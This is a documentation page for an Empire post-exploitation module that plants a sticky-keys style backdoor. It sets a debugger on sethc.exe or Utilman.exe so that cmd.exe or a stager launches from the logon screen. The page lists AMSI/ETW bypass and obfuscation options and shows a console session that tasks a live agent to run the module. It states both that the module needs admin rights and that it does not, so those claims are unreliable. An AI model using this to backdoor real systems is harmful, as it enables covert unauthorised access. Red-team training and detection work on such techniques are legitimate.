Invoke-AccessBinary - Empire Module


This page contains detailed information about how to use the powershell/persistence/misc/debugger Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview


Name: Invoke-AccessBinary
Module: powershell/persistence/misc/debugger
Source code [1]: empire/server/modules/powershell/persistence/misc/debugger.yaml
Source code [2]: empire/server/modules/powershell/persistence/misc/debugger.py
MITRE ATT&CK: T1044
Language: PowerShell
Needs admin: Yes
OPSEC safe: No
Background: No

The debugger module sets the debugger for a specified target binary to be cmd.exe, another binary of your choice, or a listern stager. This can be launched from the ease-of-access center (ctrl+U).

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the debugger module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options


This is a list of options that are required by the debugger module:

Agent
Agent to run module on.

TargetBinary
Target binary to set the debugger for (sethc.exe, Utilman.exe, osk.exe, Narrator.exe, or Magnify.exe).
Default value: sethc.exe.

Additional Module Options


This is a list of additional options that are supported by the debugger module:

Bypasses
Bypasses as a space separated list to be prepended to the launcher.
Default value: mattifestation etw.

Cleanup
Switch. Disable the Utilman.exe debugger.

Listener
Listener to use.

Obfuscate
Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.
Default value: False.

ObfuscateCommand
The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
Default value: Token\All\1.

RegPath
Registry location to store the script code. Last element is the key name.
Default value: HKLM:Software\Microsoft\Network\debug.

TriggerBinary
Binary to set for the debugger.
Default value: C:\Windows\System32\cmd.exe.

Debugger Example Usage


Here's an example of how to use the debugger module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/persistence/misc/debugger

 Author       @harmj0y                                                               
 Background   False                                                                  
 Description  Sets the debugger for a specified target binary to be cmd.exe, another 
              binary of your choice, or a listern stager. This can be launched from  
              the ease-of-access center (ctrl+U).                                    
 Language     powershell                                                             
 Name         powershell/persistence/misc/debugger                                   
 NeedsAdmin   True                                                                   
 OpsecSafe    False                                                                  
 Techniques   http://attack.mitre.org/techniques/T1044                               


,Record Options----,-------------------------------------,----------,------------------------------------,
| Name             | Value                               | Required | Description                        |
|------------------|-------------------------------------|----------|------------------------------------|
| Agent            |                                     | True     | Agent to run module on.            |
|------------------|-------------------------------------|----------|------------------------------------|
| Bypasses         | mattifestation etw                  | False    | Bypasses as a space separated list |
|                  |                                     |          | to be prepended to the launcher.   |
|------------------|-------------------------------------|----------|------------------------------------|
| Cleanup          |                                     | False    | Switch. Disable the Utilman.exe    |
|                  |                                     |          | debugger.                          |
|------------------|-------------------------------------|----------|------------------------------------|
| Listener         |                                     | False    | Listener to use.                   |
|------------------|-------------------------------------|----------|------------------------------------|
| Obfuscate        | False                               | False    | Switch. Obfuscate the launcher     |
|                  |                                     |          | powershell code, uses the          |
|                  |                                     |          | ObfuscateCommand for obfuscation   |
|                  |                                     |          | types. For powershell only.        |
|------------------|-------------------------------------|----------|------------------------------------|
| ObfuscateCommand | Token\All\1                         | False    | The Invoke-Obfuscation command to  |
|                  |                                     |          | use. Only used if Obfuscate switch |
|                  |                                     |          | is True. For powershell only.      |
|------------------|-------------------------------------|----------|------------------------------------|
| RegPath          | HKLM:Software\Microsoft\Network\deb | False    | Registry location to store the     |
|                  | ug                                  |          | script code. Last element is the   |
|                  |                                     |          | key name.                          |
|------------------|-------------------------------------|----------|------------------------------------|
| TargetBinary     | sethc.exe                           | True     | Target binary to set the debugger  |
|                  |                                     |          | for (sethc.exe, Utilman.exe,       |
|                  |                                     |          | osk.exe, Narrator.exe, or          |
|                  |                                     |          | Magnify.exe)                       |
|------------------|-------------------------------------|----------|------------------------------------|
| TriggerBinary    | C:\Windows\System32\cmd.exe         | False    | Binary to set for the debugger.    |
'------------------'-------------------------------------'----------'------------------------------------'

(Empire: usemodule/powershell/persistence/misc/debugger) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/persistence/misc/debugger) > set TargetBinary sethc.exe
[*] Set TargetBinary to sethc.exe
(Empire: usemodule/powershell/persistence/misc/debugger) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author


References


See Also


Check also the following modules related to this module:

Version


This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.